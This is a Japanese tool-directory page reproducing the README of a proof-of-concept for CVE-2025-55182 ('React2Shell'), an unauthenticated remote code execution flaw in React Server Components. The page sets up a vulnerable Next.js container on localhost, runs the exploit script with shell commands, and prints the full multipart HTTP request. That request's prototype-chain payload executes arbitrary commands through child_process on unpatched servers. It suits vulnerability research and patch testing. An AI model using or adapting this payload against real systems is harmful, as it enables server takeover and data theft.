Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — CVE-2025-55182 — React2Shell | Kitploit
ツール/GitHubGitHub/ryosukedtomita/cve-2025-55182
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubryosukedtomita/cve-2025-55182

CVE-2025-55182

CVE-2025-55182 — React2Shell

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
ウェブサイト

CVE-2025-55182 — React2Shell

NOLICENSE

INDEX

  • ABOUT
  • ENVIRONMENT
  • HOW TO USE

ABOUT

CVE-2025-55182 ("React2Shell") は React Server Components の Flight プロトコルデシリアライザに存在する CVSS 10.0 の認証不要 RCE 脆弱性。

脆弱性の概要

React の Flight プロトコルクライアント内の reviveModel 関数がオブジェクトキーを hasOwnProperty で検証しないため、攻撃者は __proto__ → constructor → Function constructor のプロトタイプチェーンを辿り、任意の JavaScript を実行できる。

Next-Action ヘッダ付きの multipart POST 1 本で認証前にデシリアライズが走るため、認証不要で攻撃が成立する。

影響範囲

コンポーネント脆弱なバージョン修正バージョン
React19.0.0 – 19.2.019.2.1
Next.js≤ 16.0.616.0.7

ENVIRONMENT

構成

root@kitploit:~
CVE-2025-55182/
├── flake.nix          # Nix dev shell (nodejs_20, yarn, python3+requests)
├── poc.py             # エクスプロイトスクリプト
└── target/            # 脆弱な Next.js アプリ
    ├── Containerfile  # podman ビルド用
    ├── package.json   # [email protected] / [email protected]
    ├── next.config.ts
    ├── tsconfig.json
    └── app/
        ├── layout.tsx
        └── page.tsx

依存ツール

  • Nix — 再現可能な開発環境
  • podman — コンテナランタイム
  • Python 3 + requests — PoC 実行

HOW TO USE

1. 開発シェル起動

root@kitploit:~
nix develop

2. コンテナビルド

root@kitploit:~
podman build -t cve-2025-55182 target/

3. 脆弱なサーバ起動

root@kitploit:~
podman run -d -p 3000:3000 --name vuln cve-2025-55182

4. エクスプロイト実行

root@kitploit:~
python poc.py http://localhost:3000 "id"

レスポンス JSON の digest フィールドにコマンド実行結果が返る。

root@kitploit:~
[*] Target: http://localhost:3000/
[*] Command: id
[*] Sending exploit payload...
[*] Response status: 200
[+] Command output: uid=1000(node) gid=1000(node) groups=1000(node)

5. 副作用の確認

root@kitploit:~
# ファイル書き込み
python poc.py http://localhost:3000 "touch /tmp/pwned"

# コンテナ内で確認
podman exec -it vuln sh
# => ls /tmp/pwned
podman exec -it vuln sh -c "ls /tmp" # こっちでも可能

Burp Suiteで確認する方法

localhost:8080でBurpを起動している前提

root@kitploit:~
HTTPS_PROXY=http://localhost:8080 HTTP_PROXY=http://localhost:8080 python poc.py http://localhost:3000 "id"
root@kitploit:~
POST / HTTP/1.1
Host: localhost:3000
User-Agent: python-requests/2.32.3
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Next-Action: x
Content-Length: 580
Content-Type: multipart/form-data; boundary=19a7dba25a68483f4234c90a07a425a2

--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var res = process.mainModule.require('child_process').execSync(\"touch /tmp/pwand\",{'timeout':5000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_formData": {"get": "$1:constructor:constructor"}}}
--19a7dba25a68483f4234c90a07a425a2
Content-Disposition: form-data; name="1"

"$@0"
--19a7dba25a68483f4234c90a07a425a2--

6. 後片付け

root@kitploit:~
podman stop vuln && podman rm vuln
ツールをダウンロード